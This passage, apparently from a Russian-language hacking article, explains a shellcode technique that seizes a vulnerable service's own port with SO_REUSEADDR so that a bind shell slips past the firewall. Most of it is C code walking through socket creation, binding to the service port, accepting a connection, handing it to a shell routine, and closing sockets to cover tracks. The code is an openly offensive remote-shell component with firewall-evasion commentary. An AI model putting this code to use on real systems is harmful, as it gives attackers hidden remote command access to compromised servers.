reuse.gif атакующий
Программная реализация данной атаки вполне тривиальна и отличается от эксплоита bind.c одной-единственной строкой: setsockopt(rsocket, SOL_SOCKET, SO_REUSEADDR, &n_reuse, sizeof(n_reuse)), присваивающей сокету атрибут SO_REUSEADDR. Однако, вместо открытия порта с нестандартным номером, данный код захватывает основной порт уязвимой службы, не вызывая никаких претензий у брандмауэра.
// шаг 1: создаем
сокет
if ((rsocket = socket(AF_INET, SOCK_STREAM, 0)) < 0) return -1;
// шаг 2: присваиваем атрибут SO_REUSEADDR
if (setsockopt(rsocket, SOL_SOCKET , SO_REUSEADDR , &n_reuse, 4)) return -1;
// шаг 3: связываем сокет с локальным адресом
raddr.sin_family = AF_INET;
raddr.sin_port = htons(V_PORT); // уязвимый
порт
raddr.sin_addr.s_addr = INADDR_ANY;
if (bind(rsocket,(struct sockaddr *) &raddr, sizeof(raddr))) return -1;
// шаг 4: слушаем
// при последующих подключениях к уязвимому порту, управление получит
// shell-код, а не код сервера и этот порт будет обязательно открыт на
// firewall, поскольку это порт "легальной" сетевой службы!
if (listen(rsocket, 0x1)) return -1;
// шаг 5: извлекаем сообщение из очереди
csocket = accept(rsocket, (struct sockaddr *) &raddr, &raddr_size);
// шаг 6: обмениваемся командами с сокетом
sshell((SOCKET) csocket, MAX_BUF_SIZE);
// шаг 7 - подчищаем за собой следы
closesocket(rsocket);
closesocket(csocket);